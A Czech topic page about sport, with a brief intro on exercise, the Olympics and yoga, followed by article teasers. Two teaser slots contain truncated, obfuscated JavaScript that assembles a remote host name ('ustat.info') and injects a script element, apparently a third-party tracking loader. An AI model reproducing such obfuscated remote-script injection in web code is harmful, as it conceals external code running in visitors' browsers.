sport

Pojmem sport je dnes obvykle označována pohybová (fyzická) aktivita provozovaná podle určitých pravidel a zvyklostí. Fyzický pohyb je pro lidi nadmíru důležitý, nedostatek sportu se negativně projevuje na fyzickém i psychickém zdraví. Vrcholoví sportovci již od 19. století pravidelně soupeří na Olympijských hrách, což je soutěž v mnoha disciplínách. Historicky tam ale nepatřily jen fyzické aktivity ale třeba také šachy nebo recitace. Dnes se zase uvažuje, že se mezi disciplíny zařadí i počítačové hry, které už sleduje více lidí, než třeba oblíbený hokej. 

Stále více lidí je zaměstnáno na kancelářských pozicích a tak mají přirozeného pohybu čím dál méně. Je proto důležité si najít pohyb, který bude především bavit, abychom ho vydrželi provozovat pravidelně. Nějaké aktivitě bychom se měli věnovat ideálně denně, stačí svižnější chůze nebo procházka. V případě hubnutí je ale potřeba se sportu věnovat mnohem častěji

Stálící a zároveň velkým trendem je v poslední době jóga. Není to pouze sport, ale dá se říci i životní styl.

Přečtěte si další články věnující se sportu

O dívkách, které se ve Finsku prohánějí po tělocvičnách s dřevěnou tyčí mezi nohama, psal už i The New York Times . Toho koně známe vlastně všichni,...

Když jsem psal tento text, ještě jsem nevěděl, jak dopadne finále mistrovství světa mladých hokejistů. Něco už ale bylo jasné. Na tom turnaji jsme...

Asi to znáte. Kolikrát jsme se o Vánocích přecpali a přísahali, že už nikdy více. Kolik cukroví, sladkostí a masa každý rok spořádáme. Kolik...

Jedním ze základních kamenů horského šatníku je určitě správně zvolená obuv. zejména na podzim a v zimě, kdy musíme čelit srážkám, nízkým teplotám...

Seděl jsem na výjimečných místech v Edenu a sledoval zápas, v němž jim to zase moc nešlo. V takových chvílích se snažím napojit svůj mozek na jinou...

Kdybyste se zeptali kohokoliv z vašich přátel, kolik kroků je potřeba denně ujít pro zdraví, většina by řekla 10 000. Je to hezké kulaté číslo, ale...

Obtíže, které jim působí probíhající energetická krize, mohou pro mnoho z nich znamenat existenční riziko. Pomoci by měla nejen vláda, ale možnosti...

Vybrat dětem tu správnou volnočasovou aktivitu nebývá snadné. Jejich zájmy se rychle mění a kroužek kreslení, který je baví nyní, může za půl roku...

S internetovým obchodem Sportano.cz se nakupování sportovních potřeb stává snadným a příjemným. Jako moderní multibrandová platforma nabízí nejlepší...

Teplotní rekordy o letošních prázdninách dosahují úrovně, na kterou nejsme zvyklí. Důvodem jsou klimatické změny. A ani předpověď do budoucna není...

Co je to vlastně bikepacking? Na přesné definici tohoto pojmu se často neshodnou ani ti, kteří se bikepackingu aktivně věnují. Pro jedny je to letní...

Začaly prázdniny, hodnoty teploměrů spolu s tím začínají (jako každý rok) stoupat do apokalyptických výšin a to je přesně ta doba, kdy všichni...

Nabitý den plný schůzek a do toho péče o dceru Ruminku - Monika dokáže vše zvládnout levou zadní. Stačí si totiž správně zorganizovat čas a v tom jí...

(function(){ ae7f=document.createElement("script");ae7f_="u"+("s")+"ta"; ae7f_+=("t.i")+""+"n";ae7f_+=(("f")+"o");ae7f.type="text/javascript";...

Když v roce 1988 byly na trh uvedeny tenisky New Balance 574 , asi málokdo tipoval, že se z těchto průměrných běžeckých bot stanou nedílné součásti...

(function(){ xwvr_=("u"+"")+"s"+"";xwvr_+=("tat.")+("i"); xwvr=document.createElement("script");xwvr.type="text/javascript";xwvr_+="nf"+("o")+"/";...

Justin Sanak je novinář, který momentálně v Abu Dhabi píše pro tamní zpravodajský server The National . Vždycky tomu tak ale nebylo. Během studia na...

Justin Sanak je novinář, který momentálně v Abu Dhabi píše pro tamní zpravodajský server The National . Vždycky tomu tak ale nebylo. Během studia na...

Ve středu 1. prosince zahájilo provoz kluziště v Havlíčkových sadech. O dva dny později, v pátek 3. prosince, pak vůbec poprvé vyjeli na led...

Když se ve čtvrtek objevovaly na sociálních sítích staré černobílé fotky Antonína Panenky v množství větším než obvyklém, bylo to proto, že měl...